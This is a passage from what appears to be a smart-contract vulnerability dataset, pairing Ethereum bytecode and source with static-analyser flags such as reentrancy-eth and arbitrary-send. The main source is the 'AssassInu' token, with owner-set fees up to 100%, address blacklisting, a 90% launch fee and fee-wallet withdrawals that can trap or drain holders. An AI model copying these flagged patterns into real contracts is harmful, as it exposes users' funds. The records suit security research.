d5b8335611562816114f1565b92506020840135611572816114f1565b929592945050506040919091013590565b60006020828403121561159557600080fd5b8135610a2a816114f1565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156115c957600080fd5b823567ffffffffffffffff808211156115e157600080fd5b818501915085601f8301126115f557600080fd5b813581811115611607576116076115a0565b8060051b604051601f19603f8301168101818110858211171561162c5761162c6115a0565b60405291825284820192508381018501918883111561164a57600080fd5b938501935b8285101561166f5761166085611506565b8452938501939285019261164f565b98975050505050505050565b6000806040838503121561168e57600080fd5b8235611699816114f1565b915060208301356116a9816114f1565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116fb57600080fd5b8151610a2a816114f1565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016117445761174461171c565b5060010190565b60008060006060848603121561176057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561178b57600080fd5b81518015158114610a2a57600080fd5b60008160001904831182151516156117b5576117b561171c565b500290565b6000826117d757634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156117ee576117ee61171c565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118435784516001600160a01b03168352938301939183019160010161181e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118775761187761171c565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220401e81871475e48fc0e17dbf4579db5ce9c2929119ae2440c89a4bbd7d55b73c64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,961
0xbf7045c873d0b78f402cccc0cdf0f2d813405f93
/** //SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Assassinu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 9; uint256 private feeAddr1 = 1; uint256 private feeAddr2 = 9; address payable private _feeAddrWallet1; string private constant _name = "AssassInu"; string private constant _symbol = "ASSINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private firstBlock; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x57097Dc44E56B4Ad68025A34ADaf5084B71Ca57d); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0x56f815327F1325D94E6040Bf3F38F8224b8C6e60), _msgSender(), _tTotal); } function getSwapEnabled() public view returns (bool) { return swapEnabled; } function getCooldownEnabled() public view returns (bool) { return cooldownEnabled; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function getMaxTxAmount() public view returns (uint256) { return _maxTxAmount; } function getFees() public view returns (uint256, uint256) { return (_feeAddr1, _feeAddr2); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setSwapEnabled(bool onoff) external onlyOwner() { swapEnabled = onoff; } function setExcludedFromFee(address to, bool onoff) external onlyOwner() { _isExcludedFromFee[to] = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = feeAddr1; _feeAddr2 = feeAddr2; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (block.number - firstBlock <= 2) { _feeAddr1 = 1; _feeAddr2 = 90; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if (contractTokenBalance > _maxTxAmount) { contractTokenBalance = _maxTxAmount; } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5 * 10**18; tradingOpen = true; firstBlock = block.number; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setFees(uint256 fee1, uint256 fee2) external onlyOwner { require(fee1 <= 100, "Fee1 must be smaller than 100"); require(fee2 <= 100, "Fee2 must be smaller than 100"); require(fee1 >= 0, "Fee1 must be greater or equal 0"); require(fee2 >= 0, "Fee2 must be greater or equal 0"); feeAddr1 = fee1; feeAddr2 = fee2; } function setFeeAddrWallet1(address _feeAddr) external onlyOwner { _feeAddrWallet1 = payable(_feeAddr); } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 1, "Transfer amount must be greater than 1 percent"); require(maxTxAmount <= 100, "Transfer amount must be smaller than 100 percent of token total"); _maxTxAmount = _tTotal.div(100).mul(maxTxAmount); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function manualTokenSend(uint256 amount) external { require(_msgSender() == _feeAddrWallet1); require(amount > 1, "Transfer amount must be greater than 1 percent"); require(amount <= 100, "Transfer amount must be smaller than 100 percent"); uint256 contractBalance = balanceOf(address(this)); contractBalance = contractBalance.div(100).mul(amount); _tokenTransfer(address(this),_msgSender(),contractBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function burn(uint256 tAmount) public returns (bool) { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[msg.sender] = _rOwned[msg.sender].sub(rAmount); _rOwned[address(0)] = _rOwned[address(0)].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); // address(0) is a conceptual-abbreviation of an address with no known private key. emit Transfer(msg.sender, address(0), tTransferAmount); _tTotal = _tTotal.sub(tTransferAmount); // Since you cant actually burn tokens on the blockchain, sending to address 0, which none has the private keys to, removes them from the circulating supply return true; } }
0x6080604052600436106101bb5760003560e01c806370a08231116100ec578063b515566a1161008a578063db8d55f111610064578063db8d55f1146104d6578063dd62ed3e146104fe578063e01af92c14610544578063ec28438a1461056457600080fd5b8063b515566a1461048c578063c3c8cd80146104ac578063c9567bf9146104c157600080fd5b80638da5cb5b116100c65780638da5cb5b146103f557806395d89b411461041d5780639638c5181461044c578063a9059cbb1461046c57600080fd5b806370a08231146103a1578063715018a6146103c15780637259a70a146103d657600080fd5b806342966c681161015957806364b844651161013357806364b84465146103375780636612e66f146103575780636d8b0527146103775780636fc3eaec1461038c57600080fd5b806342966c68146102d857806347bc4d92146102f85780635932ead11461031757600080fd5b806318160ddd1161019557806318160ddd1461025d57806323b872dd1461027c578063273123b71461029c578063313ce567146102bc57600080fd5b806306fdde03146101c7578063095ea7b31461020b5780630b78f9c01461023b57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b50604080518082019091526009815268417373617373496e7560b81b60208201525b6040516102029190611e31565b60405180910390f35b34801561021757600080fd5b5061022b610226366004611c96565b610584565b6040519015158152602001610202565b34801561024757600080fd5b5061025b610256366004611de1565b61059b565b005b34801561026957600080fd5b506008545b604051908152602001610202565b34801561028857600080fd5b5061022b610297366004611c27565b61067b565b3480156102a857600080fd5b5061025b6102b7366004611bb4565b6106e4565b3480156102c857600080fd5b5060405160098152602001610202565b3480156102e457600080fd5b5061022b6102f3366004611dc8565b61072f565b34801561030457600080fd5b50601154600160b01b900460ff1661022b565b34801561032357600080fd5b5061025b610332366004611d8e565b610841565b34801561034357600080fd5b5061025b610352366004611bb4565b610889565b34801561036357600080fd5b5061025b610372366004611c68565b6108d5565b34801561038357600080fd5b5060125461026e565b34801561039857600080fd5b5061025b61092a565b3480156103ad57600080fd5b5061026e6103bc366004611bb4565b610957565b3480156103cd57600080fd5b5061025b610979565b3480156103e257600080fd5b50601154600160b81b900460ff1661022b565b34801561040157600080fd5b506000546040516001600160a01b039091168152602001610202565b34801561042957600080fd5b50604080518082019091526006815265415353494e5560d01b60208201526101f5565b34801561045857600080fd5b5061025b610467366004611dc8565b6109ed565b34801561047857600080fd5b5061022b610487366004611c96565b610aca565b34801561049857600080fd5b5061025b6104a7366004611cc2565b610ad7565b3480156104b857600080fd5b5061025b610b69565b3480156104cd57600080fd5b5061025b610b9f565b3480156104e257600080fd5b50600b54600c5460408051928352602083019190915201610202565b34801561050a57600080fd5b5061026e610519366004611bee565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561055057600080fd5b5061025b61055f366004611d8e565b610f62565b34801561057057600080fd5b5061025b61057f366004611dc8565b610faa565b600061059133848461108b565b5060015b92915050565b6000546001600160a01b031633146105ce5760405162461bcd60e51b81526004016105c590611ed4565b60405180910390fd5b606482111561061f5760405162461bcd60e51b815260206004820152601d60248201527f46656531206d75737420626520736d616c6c6572207468616e2031303000000060448201526064016105c5565b60648111156106705760405162461bcd60e51b815260206004820152601d60248201527f46656532206d75737420626520736d616c6c6572207468616e2031303000000060448201526064016105c5565b600d91909155600e55565b60006106888484846111af565b6106da84336106d58560405180606001604052806028815260200161206b602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906114cd565b61108b565b5060019392505050565b6000546001600160a01b0316331461070e5760405162461bcd60e51b81526004016105c590611ed4565b6001600160a01b03166000908152600660205260409020805460ff19169055565b600080600080600080600061074388611507565b33600090815260026020526040902054959b5093995091975095509350915061076c9087611564565b3360009081526002602052604081209190915580527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546107ad90866115ad565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b556107e18161160c565b6107eb8483611656565b60405183815260009033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a36008546108309084611564565b600855506001979650505050505050565b6000546001600160a01b0316331461086b5760405162461bcd60e51b81526004016105c590611ed4565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146108b35760405162461bcd60e51b81526004016105c590611ed4565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146108ff5760405162461bcd60e51b81526004016105c590611ed4565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b600f546001600160a01b0316336001600160a01b03161461094a57600080fd5b476109548161167a565b50565b6001600160a01b038116600090815260026020526040812054610595906116b4565b6000546001600160a01b031633146109a35760405162461bcd60e51b81526004016105c590611ed4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600f546001600160a01b0316336001600160a01b031614610a0d57600080fd5b60018111610a2d5760405162461bcd60e51b81526004016105c590611e86565b6064811115610a975760405162461bcd60e51b815260206004820152603060248201527f5472616e7366657220616d6f756e74206d75737420626520736d616c6c65722060448201526f1d1a185b880c4c0c081c195c98d95b9d60821b60648201526084016105c5565b6000610aa230610957565b9050610ab982610ab383606461172d565b9061176f565b9050610ac63033836117ee565b5050565b60006105913384846111af565b6000546001600160a01b03163314610b015760405162461bcd60e51b81526004016105c590611ed4565b60005b8151811015610ac657600160066000848481518110610b2557610b2561201b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b6181611fea565b915050610b04565b600f546001600160a01b0316336001600160a01b031614610b8957600080fd5b6000610b9430610957565b9050610954816117f9565b6000546001600160a01b03163314610bc95760405162461bcd60e51b81526004016105c590611ed4565b601154600160a01b900460ff1615610c235760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105c5565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600854610c5c903090839061108b565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c9557600080fd5b505afa158015610ca9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccd9190611bd1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1557600080fd5b505afa158015610d29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4d9190611bd1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610d9557600080fd5b505af1158015610da9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dcd9190611bd1565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d7194730610dfd81610957565b600080610e126000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610e7557600080fd5b505af1158015610e89573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610eae9190611e03565b505060118054674563918244f4000060125563ffff00ff60a01b198116630101000160a01b179091554360135560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610f2a57600080fd5b505af1158015610f3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac69190611dab565b6000546001600160a01b03163314610f8c5760405162461bcd60e51b81526004016105c590611ed4565b60118054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610fd45760405162461bcd60e51b81526004016105c590611ed4565b60018111610ff45760405162461bcd60e51b81526004016105c590611e86565b606481111561106b5760405162461bcd60e51b815260206004820152603f60248201527f5472616e7366657220616d6f756e74206d75737420626520736d616c6c65722060448201527f7468616e203130302070657263656e74206f6620746f6b656e20746f74616c0060648201526084016105c5565b61108581610ab3606460085461172d90919063ffffffff16565b60125550565b6001600160a01b0383166110ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c5565b6001600160a01b03821661114e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c5565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c5565b6001600160a01b0382166112755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c5565b600081116112d75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c5565b600d54600b55600e54600c556000546001600160a01b0384811691161480159061130f57506000546001600160a01b03838116911614155b156114bd576001600160a01b03831660009081526006602052604090205460ff1615801561135657506001600160a01b03821660009081526006602052604090205460ff16155b61135f57600080fd5b6011546001600160a01b03848116911614801561138a57506010546001600160a01b03838116911614155b80156113af57506001600160a01b03821660009081526005602052604090205460ff16155b80156113c45750601154600160b81b900460ff165b15611421576012548111156113d857600080fd5b6001600160a01b03821660009081526007602052604090205442116113fc57600080fd5b61140742601e611f7a565b6001600160a01b0383166000908152600760205260409020555b6002601354436114319190611fd3565b11611441576001600b55605a600c555b600061144c30610957565b601154909150600160a81b900460ff1615801561147757506011546001600160a01b03858116911614155b801561148c5750601154600160b01b900460ff165b156114bb576012548111156114a057506012545b6114a9816117f9565b4780156114b9576114b94761167a565b505b505b6114c88383836117ee565b505050565b600081848411156114f15760405162461bcd60e51b81526004016105c59190611e31565b5060006114fe8486611fd3565b95945050505050565b60008060008060008060008060006115248a600b54600c54611982565b92509250925060006115346119d7565b905060008060006115478e8787876119fa565b919e509c509a509598509396509194505050505091939550919395565b60006115a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114cd565b9392505050565b6000806115ba8385611f7a565b9050838110156115a65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105c5565b60006116166119d7565b90506000611624838361176f565b3060009081526002602052604090205490915061164190826115ad565b30600090815260026020526040902055505050565b6009546116639083611564565b600955600a5461167390826115ad565b600a555050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610ac6573d6000803e3d6000fd5b600060095482111561171b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105c5565b60006117256119d7565b90506115a683825b60006115a683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a4a565b60008261177e57506000610595565b600061178a8385611fb4565b9050826117978583611f92565b146115a65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105c5565b6114c8838383611a78565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118415761184161201b565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561189557600080fd5b505afa1580156118a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118cd9190611bd1565b816001815181106118e0576118e061201b565b6001600160a01b039283166020918202929092010152601054611906913091168461108b565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061193f908590600090869030904290600401611f09565b600060405180830381600087803b15801561195957600080fd5b505af115801561196d573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b600080808061199c6064611996898961176f565b9061172d565b905060006119af60646119968a8961176f565b905060006119c7826119c18b86611564565b90611564565b9992985090965090945050505050565b60008060006119e4611b6f565b90925090506119f3828261172d565b9250505090565b6000808080611a09888661176f565b90506000611a17888761176f565b90506000611a25888861176f565b90506000611a37826119c18686611564565b939b939a50919850919650505050505050565b60008183611a6b5760405162461bcd60e51b81526004016105c59190611e31565b5060006114fe8486611f92565b600080600080600080611a8a87611507565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611abc9087611564565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611aeb90866115ad565b6001600160a01b038916600090815260026020526040902055611b0d8161160c565b611b178483611656565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b5c91815260200190565b60405180910390a3505050505050505050565b6009546008546000918291611b84828261172d565b821015611b9b576009546008549350935050509091565b90939092509050565b8035611baf81612047565b919050565b600060208284031215611bc657600080fd5b81356115a681612047565b600060208284031215611be357600080fd5b81516115a681612047565b60008060408385031215611c0157600080fd5b8235611c0c81612047565b91506020830135611c1c81612047565b809150509250929050565b600080600060608486031215611c3c57600080fd5b8335611c4781612047565b92506020840135611c5781612047565b929592945050506040919091013590565b60008060408385031215611c7b57600080fd5b8235611c8681612047565b91506020830135611c1c8161205c565b60008060408385031215611ca957600080fd5b8235611cb481612047565b946020939093013593505050565b60006020808385031215611cd557600080fd5b823567ffffffffffffffff80821115611ced57600080fd5b818501915085601f830112611d0157600080fd5b813581811115611d1357611d13612031565b8060051b604051601f19603f83011681018181108582111715611d3857611d38612031565b604052828152858101935084860182860187018a1015611d5757600080fd5b600095505b83861015611d8157611d6d81611ba4565b855260019590950194938601938601611d5c565b5098975050505050505050565b600060208284031215611da057600080fd5b81356115a68161205c565b600060208284031215611dbd57600080fd5b81516115a68161205c565b600060208284031215611dda57600080fd5b5035919050565b60008060408385031215611df457600080fd5b50508035926020909101359150565b600080600060608486031215611e1857600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611e5e57858101830151858201604001528201611e42565b81811115611e70576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252602e908201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060408201526d1d1a185b880c481c195c98d95b9d60921b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f595784516001600160a01b031683529383019391830191600101611f34565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611f8d57611f8d612005565b500190565b600082611faf57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611fce57611fce612005565b500290565b600082821015611fe557611fe5612005565b500390565b6000600019821415611ffe57611ffe612005565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461095457600080fd5b801515811461095457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206bca70f88fbebdf197e31bced158f8aba6f4d130a5fc22e5287a21eee8bdce5d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,962
0xB3359D58F46710d5bd69F21eF1261d92B2a33418
// SPDX-License-Identifier: MIT /* LITTLE DUMPLIN ETH MINER */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * 